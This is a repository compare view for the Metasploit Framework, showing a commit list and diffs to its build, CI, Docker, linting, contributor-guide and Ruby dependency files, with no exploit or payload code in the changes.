Compare commits
189 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 707b358ad6 | |||
| 60376fe3f4 | |||
| 10ed6637ed | |||
| c7d5d1f489 | |||
| 5d9d0b19ee | |||
| 9d076f6842 | |||
| 36ba1468e8 | |||
| 3b87bf5a03 | |||
| 6108d79dcd | |||
| 409ae22a7e | |||
| fdf9ea04a6 | |||
| 5b1577e46d | |||
| 135b7c6b92 | |||
| 17040e9894 | |||
| 71a1ad69dc | |||
| 57411b4ef8 | |||
| b870091380 | |||
| c31a8ab687 | |||
| 72d2b46ac8 | |||
| 26d333357b | |||
| 584a6ca796 | |||
| 106fbf8a17 | |||
| c56e571b18 | |||
| b860985347 | |||
| a94e6559e6 | |||
| 8bf76a71c2 | |||
| 517b32c836 | |||
| 37576d19a1 | |||
| 030eae5f61 | |||
| 2ad3124f85 | |||
| d756db4f9d | |||
| ef7b77ed01 | |||
| dcb514e5ac | |||
| 7d072ccbcd | |||
| 715279311a | |||
| 8af0d9ceaa | |||
| 44ac2e9c58 | |||
| bf43542743 | |||
| 8f4895c8e7 | |||
| c5e231cfbf | |||
| 028d329b4d | |||
| 8c60a73731 | |||
| bcc0a2a94c | |||
| 149f04cc58 | |||
| 4778de053a | |||
| 49bc0024c1 | |||
| fbee660136 | |||
| 64019d3301 | |||
| 4ef90d8d6c | |||
| c1b50f728b | |||
| f6223c0193 | |||
| 9be7bc9b21 | |||
| d3b4f91b4c | |||
| 6909c635bc | |||
| 31bf6d1bd0 | |||
| 2731b91036 | |||
| e57a1fbd43 | |||
| d5edb566f5 | |||
| 00d5fcfd97 | |||
| 0c86296d99 | |||
| d2150c8d15 | |||
| 4841f29190 | |||
| 6060549512 | |||
| b63a018509 | |||
| 4839e8e7c8 | |||
| 80f34c9b2d | |||
| 3fd2862f76 | |||
| 096ca90953 | |||
| 667cc5bcca | |||
| 789034a06c | |||
| b2f112fd2b | |||
| fac7f3d5be | |||
| 95a5ebc1e7 | |||
| 735fbc5c9f | |||
| fc8cafe81a | |||
| bffba1e5e3 | |||
| 3021a3202b | |||
| 0a5e9d922f | |||
| 2af4f56382 | |||
| ac6fede928 | |||
| c7cd9ca395 | |||
| fd029eda62 | |||
| 178afdaed1 | |||
| a189673782 | |||
| 826b986018 | |||
| 4e8fe54c6c | |||
| c1d701f656 | |||
| dc913b60e4 | |||
| 40220b5ab6 | |||
| 72cb9f358e | |||
| eb54ae4ec0 | |||
| 3635a92f5a | |||
| af8736cad6 | |||
| 72efbb9534 | |||
| d614e06bfa | |||
| 59a41f04f7 | |||
| 8c2484d2da | |||
| d2c203bcb9 | |||
| 13c8072bca | |||
| 5dede95e98 | |||
| 2395f839d0 | |||
| a27b2bff3c | |||
| f581942c7f | |||
| b3962c73b0 | |||
| 2d10a9a201 | |||
| 0b719772cb | |||
| d89a8c3eb9 | |||
| f055bccc2a | |||
| 51a685bcc7 | |||
| d2e71cfc8b | |||
| 60e37e1c78 | |||
| 31ed50ac92 | |||
| 004e228a52 | |||
| e8ad3a98e9 | |||
| b9a8f227fb | |||
| 87dcb13413 | |||
| 1045c1fc11 | |||
| c5a73bdea3 | |||
| 7cde510eb6 | |||
| 358954e15c | |||
| 0cee8485d0 | |||
| bdc0b47844 | |||
| aecc1f143f | |||
| f281b45384 | |||
| e485b152e3 | |||
| 1126acb201 | |||
| 37cb2d77e7 | |||
| 6c3168c541 | |||
| 73bcec5d11 | |||
| 090f7c8bd6 | |||
| 72ed11574b | |||
| cd7187023c | |||
| 32bd516e70 | |||
| 656eb1150a | |||
| 55ae1f7bbe | |||
| 4d4538dceb | |||
| cd723ac86e | |||
| b0da7fcd26 | |||
| 0fe2fb9186 | |||
| a7e779d987 | |||
| b696665adc | |||
| 909b787a56 | |||
| 5457cec81c | |||
| 64c0d60fbf | |||
| 49c9b3cf1e | |||
| e82ff28374 | |||
| 1fdc4bdabb | |||
| 6c350be24e | |||
| 016af01fd8 | |||
| ce3d5d77e4 | |||
| ec12d61702 | |||
| 445b72fdcd | |||
| 48c3c7cd62 | |||
| 64746d8325 | |||
| b7fbffa331 | |||
| 4fa68f29d9 | |||
| a9d4a98d80 | |||
| cca76d2217 | |||
| bff02efad4 | |||
| 395320ba97 | |||
| a87ae41d81 | |||
| 0d98135fcb | |||
| c2379308cf | |||
| af0c58c2ae | |||
| b515a582f0 | |||
| 25652c6c17 | |||
| 926ce42a01 | |||
| 2ea9ab2625 | |||
| a4022f7b8f | |||
| 06b702e86b | |||
| 8f2de5cd41 | |||
| a136841794 | |||
| 15f631dcb5 | |||
| d6beb94c59 | |||
| 5ec3da843e | |||
| 294a8e0ada | |||
| bb73d2c07e | |||
| 47682e3f37 | |||
| 5fc1988d63 | |||
| ab610f599b | |||
| 7da3bdd081 | |||
| 10fafb62bb | |||
| 512192d3b0 | |||
| 55c345418d | |||
| b8fc2c0213 | |||
| 23619431aa | |||
| 0916d8402e | |||
| bf6540585f | |||
| 898aa82933 |
@@ -5,8 +5,6 @@ docker-compose*.yml
|
||||
docker/
|
||||
!docker/msfconsole.rc
|
||||
!docker/entrypoint.sh
|
||||
!docker/database.yml
|
||||
Dockerfile
|
||||
README.md
|
||||
.git/
|
||||
.github/
|
||||
|
||||
@@ -2,8 +2,6 @@
|
||||
Tell us what this change does. If you're fixing a bug, please mention
|
||||
the github issue number.
|
||||
|
||||
Please ensure you are submitting **from a unique branch** in your [repository](https://github.com/rapid7/metasploit-framework/pull/11086#issuecomment-445506416) to master in Rapid7's.
|
||||
|
||||
## Verification
|
||||
|
||||
List the steps needed to make sure this thing works
|
||||
|
||||
@@ -93,7 +93,3 @@ docker-compose.local*
|
||||
# Ignore python bytecode
|
||||
*.pyc
|
||||
rspec.failures
|
||||
|
||||
|
||||
#Ignore any base disk store files
|
||||
db/modules_metadata_base.pstore
|
||||
@@ -41,7 +41,6 @@ sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
|
||||
space-r7 <space-r7@github> <shelby_pace@rapid7.com>
|
||||
tatanus <tatanus@github> <adam_compton@rapid7.com>
|
||||
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
|
||||
@@ -64,6 +63,7 @@ wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
|
||||
|
||||
bannedit <bannedit@github> David Rude <bannedit0@gmail.com>
|
||||
bcoles <bcoles@github> bcoles <bcoles@gmail.com>
|
||||
bcoles <bcoles@github> Brendan Coles <bcoles@gmail.com>
|
||||
bokojan <bokojan@github> parzamendi-r7 <peter_arzamendi@rapid7.com>
|
||||
brandonprry <brandonprry@github> <bperry@brandons-mbp.attlocal.net>
|
||||
brandonprry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
|
||||
@@ -82,7 +82,6 @@ corelanc0d3r <corelanc0d3r@github> corelanc0d3r <peter.ve@corelan.be>
|
||||
corelanc0d3r <corelanc0d3r@github> Peter Van Eeckhoutte (corelanc0d3r) <peter.ve@corelan.be>
|
||||
crcatala <crcatala@github> Christian Catalan <ccatalan@rapid7.com>
|
||||
darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com>
|
||||
DanielRTeixeira <DanielRTeixeira@github> Daniel Teixeira <danieljcrteixeira@gmail.com>
|
||||
efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
|
||||
efraintorres <efraintorres@github> et <>
|
||||
espreto <espreto@github> <robertoespreto@gmail.com>
|
||||
|
||||
@@ -17,10 +17,6 @@ Metrics/ClassLength:
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
||||
|
||||
Style/ClassAndModuleChildren:
|
||||
Enabled: false
|
||||
Description: 'Forced nesting is harmful for grepping and general code comprehension'
|
||||
|
||||
Metrics/AbcSize:
|
||||
Enabled: false
|
||||
Description: 'This is often a red-herring'
|
||||
@@ -33,10 +29,6 @@ Metrics/PerceivedComplexity:
|
||||
Enabled: false
|
||||
Description: 'This is often a red-herring'
|
||||
|
||||
Style/TernaryParentheses:
|
||||
Enabled: false
|
||||
Description: 'This outright produces bugs'
|
||||
|
||||
Style/FrozenStringLiteralComment:
|
||||
Enabled: false
|
||||
Description: 'We cannot support this yet without a lot of things breaking'
|
||||
@@ -45,10 +37,6 @@ Style/RedundantReturn:
|
||||
Description: 'This often looks weird when mixed with actual returns, and hurts nothing'
|
||||
Enabled: false
|
||||
|
||||
Style/NumericPredicate:
|
||||
Description: 'This adds no efficiency nor space saving'
|
||||
Enabled: false
|
||||
|
||||
Style/Documentation:
|
||||
Enabled: true
|
||||
Description: 'Most Metasploit modules do not have class documentation.'
|
||||
@@ -117,10 +105,6 @@ Style/WordArray:
|
||||
Enabled: false
|
||||
Description: 'Metasploit prefers consistent use of []'
|
||||
|
||||
Style/IfUnlessModifier:
|
||||
Enabled: false
|
||||
Description: 'This style might save a couple of lines, but often makes code less clear'
|
||||
|
||||
Style/RedundantBegin:
|
||||
Exclude:
|
||||
# this pattern is very common and somewhat unavoidable
|
||||
|
||||
+1
-1
@@ -1 +1 @@
|
||||
2.5.3
|
||||
2.5.1
|
||||
|
||||
+6
-19
@@ -11,35 +11,25 @@ addons:
|
||||
- graphviz
|
||||
language: ruby
|
||||
rvm:
|
||||
- '2.3.8'
|
||||
- '2.4.5'
|
||||
- '2.5.3'
|
||||
- '2.3.7'
|
||||
- '2.4.4'
|
||||
- '2.5.1'
|
||||
|
||||
env:
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"'
|
||||
# Used for testing the remote data service
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" REMOTE_DB=1'
|
||||
|
||||
matrix:
|
||||
fast_finish: true
|
||||
exclude:
|
||||
- rvm: '2.3.8'
|
||||
env: CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" REMOTE_DB=1'
|
||||
- rvm: '2.4.5'
|
||||
env: CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" REMOTE_DB=1'
|
||||
|
||||
jobs:
|
||||
# build docker image
|
||||
include:
|
||||
- env: CMD="/usr/bin/docker-compose build" DOCKER="true"
|
||||
- env: CMD="docker-compose build" DOCKER="true"
|
||||
# we do not need any setup
|
||||
before_install: skip
|
||||
install: skip
|
||||
before_script:
|
||||
- curl -L https://github.com/docker/compose/releases/download/1.22.0/docker-compose-`uname -s`-`uname -m` > docker-compose
|
||||
- chmod +x docker-compose
|
||||
- sudo mv docker-compose /usr/bin
|
||||
before_script: skip
|
||||
before_install:
|
||||
- "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
|
||||
- rake --version
|
||||
@@ -48,7 +38,6 @@ before_install:
|
||||
- ls -la ./.git/hooks
|
||||
- ./.git/hooks/post-merge
|
||||
# Update the bundler
|
||||
- gem update --system
|
||||
- gem install bundler
|
||||
before_script:
|
||||
- cp config/database.yml.travis config/database.yml
|
||||
@@ -60,9 +49,7 @@ before_script:
|
||||
script:
|
||||
- echo "${CMD}"
|
||||
# we need travis_wait because the Docker build job can take longer than 10 minutes
|
||||
#- if [[ "${DOCKER}" == "true" ]]; then echo "Starting Docker build job"; travis_wait 40 "${CMD}"; else bash -c "${CMD}"; fi
|
||||
# docker_wait is currently broken on travis-ci, so let's just run CMD directly for now
|
||||
- bash -c "${CMD}"
|
||||
- if [[ "${DOCKER}" == "true" ]]; then echo "Starting Docker build job"; travis_wait 40 "${CMD}"; else bash -c "${CMD}"; fi
|
||||
|
||||
notifications:
|
||||
irc: "irc.freenode.org#msfnotify"
|
||||
|
||||
+1
-1
@@ -37,7 +37,7 @@ when an individual is representing the project or its community.
|
||||
Instances of abusive, harassing, or otherwise unacceptable behavior may be
|
||||
reported by contacting the project maintainers at msfdev@metasploit.com. If
|
||||
the incident involves a committer, you may report directly to
|
||||
caitlin_condon@rapid7.com or todb@metasploit.com.
|
||||
egypt@metasploit.com or todb@metasploit.com.
|
||||
|
||||
All complaints will be reviewed and investigated and will result in a
|
||||
response that is deemed necessary and appropriate to the circumstances.
|
||||
|
||||
+65
-44
@@ -1,54 +1,77 @@
|
||||
# Hello, World!
|
||||
|
||||
Thanks for your interest in making Metasploit -- and therefore, the
|
||||
world -- a better place! Before you get started, review our
|
||||
[Code of Conduct]. There are mutliple ways to help beyond just writing code:
|
||||
- [Submit bugs and feature requests] with detailed information about your issue or idea.
|
||||
- [Help fellow users with open issues] or [help fellow committers test recent pull requests].
|
||||
- [Report a security vulnerability in Metasploit itself] to Rapid7.
|
||||
- Submit an updated or brand new module! We are always eager for exploits, scanners, and new
|
||||
integrations or features. Don't know where to start? Set up a [development environment], then head over to ExploitDB to look for [proof-of-concept exploits] that might make a good module.
|
||||
world -- a better place!
|
||||
|
||||
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker].
|
||||
Please try to be as specific as you can about your problem; include steps
|
||||
to reproduce (cut and paste from your console output if it's helpful) and
|
||||
what you were expecting to happen.
|
||||
|
||||
Are you about to report a security vulnerability in Metasploit itself?
|
||||
How ironic! Please take a look at Rapid7's [Vulnerability
|
||||
Disclosure Policy](https://www.rapid7.com/disclosure.jsp), and send
|
||||
your report to security@rapid7.com using our [PGP key].
|
||||
|
||||
Are you about to contribute some new functionality, a bug fix, or a new
|
||||
Metasploit module? If so, read on...
|
||||
|
||||
# Contributing to Metasploit
|
||||
|
||||
Here's a short list of do's and don'ts to make sure *your* valuable contributions actually make
|
||||
it into Metasploit's master branch. If you do not care to follow these rules, your contribution
|
||||
**will** be closed. Sorry!
|
||||
What you see here in CONTRIBUTING.md is a bullet point list of the do's
|
||||
and don'ts of how to make sure *your* valuable contributions actually
|
||||
make it into Metasploit's master branch.
|
||||
|
||||
If you care not to follow these rules, your contribution **will** be
|
||||
closed. Sorry!
|
||||
|
||||
This is intended to be a **short** list. The [wiki] is much more
|
||||
exhaustive and reveals many mysteries. If you read nothing else, take a
|
||||
look at the standard [development environment setup] guide
|
||||
and Metasploit's [Common Coding Mistakes].
|
||||
|
||||
## Code Contributions
|
||||
|
||||
* **Do** stick to the [Ruby style guide] and use [Rubocop] to find common style issues.
|
||||
* **Do** stick to the [Ruby style guide].
|
||||
* **Do** get [Rubocop] relatively quiet against the code you are adding or modifying.
|
||||
* **Do** follow the [50/72 rule] for Git commit messages.
|
||||
* **Don't** use the default merge messages when merging from other branches.
|
||||
* **Do** create a [topic branch] to work on instead of working directly on `master`.
|
||||
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
|
||||
* **Do** create a [topic branch] to work on instead of working directly on `master` to preserve the
|
||||
history of your pull request. See [PR#8000] for an example of losing commit history as soon as
|
||||
you update your own master branch.
|
||||
|
||||
### Pull Requests
|
||||
|
||||
* **Do** target your pull request to the **master branch**.
|
||||
* **Do** target your pull request to the **master branch**. Not staging, not develop, not release.
|
||||
* **Do** specify a descriptive title to make searching for your pull request easier.
|
||||
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
|
||||
* **Do** list [verification steps] so your code is testable.
|
||||
* **Do** [reference associated issues] in your pull request description.
|
||||
* **Do** write [release notes] once a pull request is landed.
|
||||
* **Don't** leave your pull request description blank.
|
||||
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
|
||||
|
||||
Pull request [PR#9966] is a good example to follow.
|
||||
Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
|
||||
|
||||
#### New Modules
|
||||
|
||||
* **Do** set up `msftidy` to fix any errors or warnings that come up as a [pre-commit hook].
|
||||
* **Do** use the many module mixin [API]s.
|
||||
* **Do** run `tools/dev/msftidy.rb` against your module and fix any errors or warnings that come up.
|
||||
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
|
||||
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
|
||||
* **Don't** include more than one module per pull request.
|
||||
* **Do** include instructions on how to setup the vulnerable environment or software.
|
||||
* **Do** include [Module Documentation] showing sample run-throughs.
|
||||
* **Don't** submit new [scripts]. Scripts are shipped as examples for automating local tasks, and
|
||||
anything "serious" can be done with post modules and local exploits.
|
||||
* **Do** include [Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation) showing sample run-throughs.
|
||||
|
||||
|
||||
|
||||
#### Scripts
|
||||
|
||||
* **Don't** submit new [scripts]. Scripts are shipped as examples for
|
||||
automating local tasks, and anything "serious" can be done with post
|
||||
modules and local exploits.
|
||||
|
||||
#### Library Code
|
||||
|
||||
* **Do** write [RSpec] tests - even the smallest change in a library can break existing code.
|
||||
* **Do** write [RSpec] tests - even the smallest change in library land can thoroughly screw things up.
|
||||
* **Do** follow [Better Specs] - it's like the style guide for specs.
|
||||
* **Do** write [YARD] documentation - this makes it easier for people to use your code.
|
||||
* **Don't** fix a lot of things in one pull request. Small fixes are easier to validate.
|
||||
@@ -56,46 +79,44 @@ Pull request [PR#9966] is a good example to follow.
|
||||
#### Bug Fixes
|
||||
|
||||
* **Do** include reproduction steps in the form of verification steps.
|
||||
* **Do** link to any corresponding [Issues] in the format of `See #1234` in your commit description.
|
||||
* **Do** include a link to any corresponding [Issues] in the format of
|
||||
`See #1234` in your commit description.
|
||||
|
||||
## Bug Reports
|
||||
|
||||
Please report vulnerabilities in Rapid7 software directly to security@rapid7.com. For more on our disclosure policy and Rapid7's approach to coordinated disclosure, [head over here](https://www.rapid7.com/security).
|
||||
|
||||
When reporting Metasploit issues:
|
||||
* **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com.
|
||||
* **Do** write a detailed description of your bug and use a descriptive title.
|
||||
* **Do** include reproduction steps, stack traces, and anything that might help us fix your bug.
|
||||
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
|
||||
* **Don't** file duplicate reports; search for your bug before filing a new report.
|
||||
|
||||
If you need some more guidance, talk to the main body of open source contributors over on our
|
||||
[Metasploit Slack] or [#metasploit on Freenode IRC].
|
||||
If you need some more guidance, talk to the main body of open
|
||||
source contributors over on the [Freenode IRC channel],
|
||||
or e-mail us at the [metasploit-hackers] mailing list.
|
||||
|
||||
Finally, **thank you** for taking the few moments to read this far! You're already way ahead of the
|
||||
curve, so keep it up!
|
||||
Also, **thank you** for taking the few moments to read this far! You're
|
||||
already way ahead of the curve, so keep it up!
|
||||
|
||||
[Code of Conduct]:https://github.com/rapid7/metasploit-framework/wiki/CODE_OF_CONDUCT.md
|
||||
[Submit bugs and feature requests]:http://r-7.co/MSF-BUGv1
|
||||
[Help fellow users with open issues]:https://github.com/rapid7/metasploit-framework/issues
|
||||
[help fellow committers test recently submitted pull requests]:https://github.com/rapid7/metasploit-framework/pulls
|
||||
[Report a security vulnerability in Metasploit itself]:https://www.rapid7.com/disclosure.jsp
|
||||
[development environment]:http://r-7.co/MSF-DEV
|
||||
[proof-of-concept exploits]:https://www.exploit-db.com/search?verified=true&hasapp=true&nomsf=true
|
||||
[Issue Tracker]:http://r-7.co/MSF-BUGv1
|
||||
[PGP key]:http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D
|
||||
[wiki]:https://github.com/rapid7/metasploit-framework/wiki
|
||||
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
|
||||
[development environment setup]:http://r-7.co/MSF-DEV
|
||||
[Common Coding Mistakes]:https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
|
||||
[Ruby style guide]:https://github.com/bbatsov/ruby-style-guide
|
||||
[Rubocop]:https://rubygems.org/search?query=rubocop
|
||||
[50/72 rule]:http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html
|
||||
[topic branch]:http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches
|
||||
[PR#8000]:https://github.com/rapid7/metasploit-framework/pull/8000
|
||||
[console output]:https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks
|
||||
[verification steps]:https://help.github.com/articles/writing-on-github#task-lists
|
||||
[reference associated issues]:https://github.com/blog/1506-closing-issues-via-pull-requests
|
||||
[PR#9966]:https://github.com/rapid7/metasploit-framework/pull/9966
|
||||
[release notes]:https://github.com/rapid7/metasploit-framework/wiki/Adding-Release-Notes-to-PRs
|
||||
[PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940
|
||||
[PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043
|
||||
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
|
||||
[API]:https://rapid7.github.io/metasploit-framework/api
|
||||
[Module Documentation]:https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation
|
||||
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
|
||||
[RSpec]:http://rspec.info
|
||||
[Better Specs]:http://betterspecs.org
|
||||
[YARD]:http://yardoc.org
|
||||
[Issues]:https://github.com/rapid7/metasploit-framework/issues
|
||||
[Metasploit Slack]:https://www.metasploit.com/slack
|
||||
[#metasploit on Freenode IRC]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
|
||||
[Freenode IRC channel]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
|
||||
[metasploit-hackers]:https://groups.google.com/forum/#!forum/metasploit-hackers
|
||||
|
||||
-20
@@ -1,20 +0,0 @@
|
||||
Active Metasploit 5 development will sometimes push aggressive changes.
|
||||
Integrations with 3rd-party tools, as well as general usage, may change quickly
|
||||
from day to day. Some of the steps for dealing with major changes will be
|
||||
documented here. We will continue to maintain the Metasploit 4.x branch until
|
||||
Metasploit 5.0 is released.
|
||||
|
||||
**2018/01/17 - [internal] module cache reworked to not store metadata in PostgreSQL**
|
||||
|
||||
Metasploit no longer stores module metadata in a PostgreSQL database, instead
|
||||
storing it in a cache file in your local ~/.msf4 config directory. This has a
|
||||
number of advantages:
|
||||
|
||||
* Fast searches whether you have the database enabled or not (no more slow search mode)
|
||||
* Faster load time for msfconsole, the cache loads more quickly
|
||||
* Private module data is not uploaded to a shared database, no collisions
|
||||
* Adding or deleting modules no longer displays file-not-found error messages on start in msfconsole
|
||||
* Reduced memory consumption
|
||||
|
||||
Code that reads directly from the Metasploit database for module data will need
|
||||
to use the new module search API.
|
||||
+25
-29
@@ -1,17 +1,31 @@
|
||||
FROM ruby:2.5.3-alpine3.7 AS builder
|
||||
FROM ruby:2.5.1-alpine3.7
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
|
||||
ENV APP_HOME=/usr/src/metasploit-framework
|
||||
ENV APP_HOME /usr/src/metasploit-framework/
|
||||
ENV NMAP_PRIVILEGED=""
|
||||
ENV BUNDLE_IGNORE_MESSAGES="true"
|
||||
WORKDIR $APP_HOME
|
||||
|
||||
COPY Gemfile* metasploit-framework.gemspec Rakefile $APP_HOME/
|
||||
COPY Gemfile* metasploit-framework.gemspec Rakefile $APP_HOME
|
||||
COPY lib/metasploit/framework/version.rb $APP_HOME/lib/metasploit/framework/version.rb
|
||||
COPY lib/metasploit/framework/rails_version_constraint.rb $APP_HOME/lib/metasploit/framework/rails_version_constraint.rb
|
||||
COPY lib/msf/util/helper.rb $APP_HOME/lib/msf/util/helper.rb
|
||||
|
||||
RUN apk add --no-cache \
|
||||
RUN apk update && \
|
||||
apk add \
|
||||
bash \
|
||||
sqlite-libs \
|
||||
nmap \
|
||||
nmap-scripts \
|
||||
nmap-nselibs \
|
||||
postgresql-libs \
|
||||
python \
|
||||
python3 \
|
||||
ncurses \
|
||||
libcap \
|
||||
su-exec \
|
||||
&& apk add --virtual .ruby-builddeps \
|
||||
autoconf \
|
||||
bison \
|
||||
build-base \
|
||||
@@ -30,38 +44,20 @@ RUN apk add --no-cache \
|
||||
&& echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
|
||||
&& gem update --system \
|
||||
&& gem install bundler \
|
||||
&& bundle install --clean --no-cache --system $BUNDLER_ARGS \
|
||||
# temp fix for https://github.com/bundler/bundler/issues/6680
|
||||
&& rm -rf /usr/local/bundle/cache \
|
||||
# needed so non root users can read content of the bundle
|
||||
&& chmod -R a+r /usr/local/bundle
|
||||
|
||||
|
||||
FROM ruby:2.5.3-alpine3.7
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ENV APP_HOME=/usr/src/metasploit-framework
|
||||
ENV NMAP_PRIVILEGED=""
|
||||
ENV METASPLOIT_GROUP=metasploit
|
||||
|
||||
# used for the copy command
|
||||
RUN addgroup -S $METASPLOIT_GROUP
|
||||
|
||||
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs postgresql-libs python python3 ncurses libcap su-exec
|
||||
&& bundle install --system $BUNDLER_ARGS \
|
||||
&& apk del .ruby-builddeps \
|
||||
&& rm -rf /var/cache/apk/*
|
||||
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
|
||||
|
||||
COPY --chown=root:metasploit --from=builder /usr/local/bundle /usr/local/bundle
|
||||
COPY --chown=root:metasploit . $APP_HOME/
|
||||
RUN cp -f $APP_HOME/docker/database.yml $APP_HOME/config/database.yml
|
||||
|
||||
WORKDIR $APP_HOME
|
||||
ADD ./ $APP_HOME
|
||||
|
||||
# we need this entrypoint to dynamically create a user
|
||||
# matching the hosts UID and GID so we can mount something
|
||||
# from the users home directory. If the IDs don't match
|
||||
# it results in access denied errors.
|
||||
# it results in access denied errors. Once docker has
|
||||
# a solution for this we can revert it back to normal
|
||||
ENTRYPOINT ["docker/entrypoint.sh"]
|
||||
|
||||
CMD ["./msfconsole", "-r", "docker/msfconsole.rc", "-y", "$APP_HOME/config/database.yml"]
|
||||
CMD ["./msfconsole", "-r", "docker/msfconsole.rc"]
|
||||
|
||||
@@ -25,7 +25,7 @@ end
|
||||
|
||||
group :development, :test do
|
||||
# automatically include factories from spec/factories
|
||||
gem 'factory_bot_rails'
|
||||
gem 'factory_girl_rails'
|
||||
# Make rspec output shorter and more useful
|
||||
gem 'fivemat'
|
||||
# running documentation generation tasks and rspec tasks
|
||||
@@ -34,7 +34,6 @@ group :development, :test do
|
||||
# environment is development
|
||||
gem 'rspec-rails'
|
||||
gem 'rspec-rerun'
|
||||
gem 'swagger-blocks'
|
||||
end
|
||||
|
||||
group :test do
|
||||
|
||||
+89
-125
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (5.0.2)
|
||||
metasploit-framework (4.16.48)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@@ -9,21 +9,18 @@ PATH
|
||||
bcrypt
|
||||
bcrypt_pbkdf
|
||||
bit-struct
|
||||
concurrent-ruby (= 1.0.5)
|
||||
dnsruby
|
||||
ed25519
|
||||
em-http-request
|
||||
faker
|
||||
filesize
|
||||
jsobfu
|
||||
json
|
||||
metasm
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-credential (< 3.0.0)
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.58)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.5.1)
|
||||
metasploit-payloads (= 1.3.32)
|
||||
metasploit_data_models (< 3.0.0)
|
||||
metasploit_payloads-mettle (= 0.3.7)
|
||||
mqtt
|
||||
msgpack
|
||||
nessus_rest
|
||||
@@ -52,7 +49,7 @@ PATH
|
||||
rex-mime
|
||||
rex-nop
|
||||
rex-ole
|
||||
rex-powershell
|
||||
rex-powershell (< 0.1.78)
|
||||
rex-random_identifier
|
||||
rex-registry
|
||||
rex-rop_builder
|
||||
@@ -62,16 +59,13 @@ PATH
|
||||
rex-text
|
||||
rex-zip
|
||||
ruby-macho
|
||||
ruby_smb
|
||||
ruby_smb (= 0.0.18)
|
||||
rubyntlm
|
||||
rubyzip
|
||||
sinatra
|
||||
sqlite3
|
||||
sshkey
|
||||
thin
|
||||
tzinfo
|
||||
tzinfo-data
|
||||
warden
|
||||
windows_error
|
||||
xdr
|
||||
xmlrpc
|
||||
@@ -80,27 +74,27 @@ GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
Ascii85 (1.0.3)
|
||||
actionpack (4.2.11)
|
||||
actionview (= 4.2.11)
|
||||
activesupport (= 4.2.11)
|
||||
actionpack (4.2.10)
|
||||
actionview (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
rack (~> 1.6)
|
||||
rack-test (~> 0.6.2)
|
||||
rails-dom-testing (~> 1.0, >= 1.0.5)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.2)
|
||||
actionview (4.2.11)
|
||||
activesupport (= 4.2.11)
|
||||
actionview (4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
builder (~> 3.1)
|
||||
erubis (~> 2.7.0)
|
||||
rails-dom-testing (~> 1.0, >= 1.0.5)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.3)
|
||||
activemodel (4.2.11)
|
||||
activesupport (= 4.2.11)
|
||||
activemodel (4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
builder (~> 3.1)
|
||||
activerecord (4.2.11)
|
||||
activemodel (= 4.2.11)
|
||||
activesupport (= 4.2.11)
|
||||
activerecord (4.2.10)
|
||||
activemodel (= 4.2.10)
|
||||
